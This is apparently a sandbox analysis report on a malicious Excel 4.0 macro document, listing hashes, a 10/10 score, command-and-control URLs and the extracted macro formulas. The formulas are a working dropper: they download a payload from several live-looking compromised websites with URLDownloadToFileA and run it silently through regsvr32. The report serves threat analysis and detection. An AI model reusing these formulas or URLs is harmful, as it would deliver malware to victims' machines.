6cc8b2ea6e6025481643ea63681c26625a267a2e6f56249f3ccd8c7687324315

General

Target

6cc8b2ea6e6025481643ea63681c26625a267a2e6f56249f3ccd8c7687324315
Size

40KB
Sample

241120-na3hqawajf
MD5

ad68f8ca3ea316ac089861e0cc387467
SHA1

ab648d5eeb595f5fe2b70eeee9b94aaf781f2647
SHA256

6cc8b2ea6e6025481643ea63681c26625a267a2e6f56249f3ccd8c7687324315
SHA512

7cb3829d0d04096bafa32b4a205c328bd24076e2e7fb29ce9baaaf200e9bd04322508dcfe31651934b331927f9725fac6fc870c1f3118032fa482e1621738b42
SSDEEP

768:Rqhdomi1DOevZCwtumwyKfcrND59V+L9Rw4eWrXcTqZ0Vf5XJ:Udom4DJwylND59V4jwmXc2CVf5Z

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/

http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/

http://techplanbd.xyz/qel424/RSz4/

http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/

https://deine-bewerbung.com/wp-content/TKXpk/

https://livejagat.com/h/L37tCM6ppS/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://techplanbd.xyz/qel424/RSz4/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/TKXpk/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/L37tCM6ppS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/

xlm40.dropper

http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/

xlm40.dropper

http://techplanbd.xyz/qel424/RSz4/